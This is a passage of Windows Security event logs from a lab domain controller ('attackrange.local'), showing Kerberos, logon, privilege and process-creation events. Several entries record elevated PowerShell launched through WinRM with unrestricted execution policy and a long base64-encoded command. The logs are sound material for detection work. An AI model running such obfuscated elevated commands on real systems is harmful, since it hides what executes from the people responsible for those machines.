Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251476
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251475
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13674B

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1094
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xc70
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251474
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13674B

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc70
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x95c
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251473
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13699B

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251472
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13699B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8CC7402C-9F6B-F35C-1E7E-AC9CA7415811}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251471
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{8CC7402C-9F6B-F35C-1E7E-AC9CA7415811}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251470
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{8CC7402C-9F6B-F35C-1E7E-AC9CA7415811}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251469
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251468
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13674B

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x114c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x95c
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251467
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13674B

Process Information:
	New Process ID:		0x95c
	New Process Name:	C:\Windows\System32\winrshost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1e0
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\WinrsHost.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251466
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13674B

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251465
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13674B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8CC7402C-9F6B-F35C-1E7E-AC9CA7415811}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251464
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{8CC7402C-9F6B-F35C-1E7E-AC9CA7415811}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251463
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{8CC7402C-9F6B-F35C-1E7E-AC9CA7415811}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251462
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251561
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13A451

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251560
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

